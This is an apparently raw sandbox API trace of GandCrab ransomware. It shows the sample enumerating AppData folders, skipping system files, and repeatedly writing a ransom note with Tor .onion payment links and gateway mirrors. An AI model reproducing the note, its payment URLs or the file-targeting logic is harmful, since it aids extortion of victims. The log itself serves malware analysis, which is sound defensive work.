pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.099] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.099] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned 62 [0054.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*" [0054.099] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b86b0 [0054.099] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.099] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.099] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.099] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.099] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.099] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0054.099] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0054.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0054.099] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned 67 [0054.099] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.099] FindClose (in: hFindFile=0x5b86b0 | out: hFindFile=0x5b86b0) returned 1 [0054.099] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.099] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\\\GDCB-DECRYPT.txt") returned 79 [0054.099] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.100] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.100] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.101] CloseHandle (hObject=0x4fc) returned 1 [0054.101] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.101] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned 62 [0054.101] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*" [0054.101] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8af0 [0054.101] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.101] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.101] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.101] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.101] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.101] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0054.101] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0054.101] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0054.101] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\" [0054.101] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.102] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.102] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.102] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.102] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.102] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.102] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned 68 [0054.102] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*" [0054.102] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b8b30 [0054.102] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.102] FindNextFileW (in: hFindFile=0x5b8b30, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.102] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.102] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.102] FindNextFileW (in: hFindFile=0x5b8b30, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.102] lstrcmpW (lpString1="Global.MPT", lpString2=".") returned 1 [0054.102] lstrcmpW (lpString1="Global.MPT", lpString2="..") returned 1 [0054.103] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="Global.MPT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" [0054.103] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78 [0054.103] lstrcmpW (lpString1=".MPT", lpString2=".sql") returned -1 [0054.103] FindNextFileW (in: hFindFile=0x5b8b30, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.103] FindClose (in: hFindFile=0x5b8b30 | out: hFindFile=0x5b8b30) returned 1 [0054.103] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.103] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\\\GDCB-DECRYPT.txt") returned 85 [0054.103] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.103] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.103] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.104] CloseHandle (hObject=0x500) returned 1 [0054.104] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.104] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned 68 [0054.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*" [0054.104] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8730 [0054.104] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.104] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.104] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.104] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.104] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.104] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.104] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.104] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt" [0054.104] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.104] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned 84 [0054.104] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned 84 [0054.104] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned 84 [0054.104] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned 84 [0054.104] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.104] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.104] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.104] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.104] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.104] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.104] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.105] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.105] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.105] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.105] lstrcmpW (lpString1="Global.MPT", lpString2=".") returned 1 [0054.105] lstrcmpW (lpString1="Global.MPT", lpString2="..") returned 1 [0054.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="Global.MPT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" [0054.105] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.105] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78 [0054.105] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78 [0054.105] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.105] FindClose (in: hFindFile=0x5b8730 | out: hFindFile=0x5b8730) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.105] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.105] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt" [0054.105] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.105] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned 78 [0054.105] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned 78 [0054.105] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned 78 [0054.105] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned 78 [0054.105] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.105] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.106] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.106] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.106] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0054.106] FindNextFileW (in: hFindFile=0x5b88f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.106] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.106] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt" [0054.106] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.106] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned 75 [0054.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned 75 [0054.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned 75 [0054.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned 75 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.106] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.106] FindNextFileW (in: hFindFile=0x5b88f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.106] FindClose (in: hFindFile=0x5b88f0 | out: hFindFile=0x5b88f0) returned 1 [0054.107] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.107] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0054.107] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0054.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" [0054.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\" [0054.107] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.107] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.107] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.107] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.107] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.107] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned 56 [0054.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*" [0054.107] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b86b0 [0054.108] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.108] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.108] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.108] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.108] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.108] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0054.108] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0054.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0054.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned 67 [0054.108] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.108] FindClose (in: hFindFile=0x5b86b0 | out: hFindFile=0x5b86b0) returned 1 [0054.108] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.108] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\\\GDCB-DECRYPT.txt") returned 73 [0054.108] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.108] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. 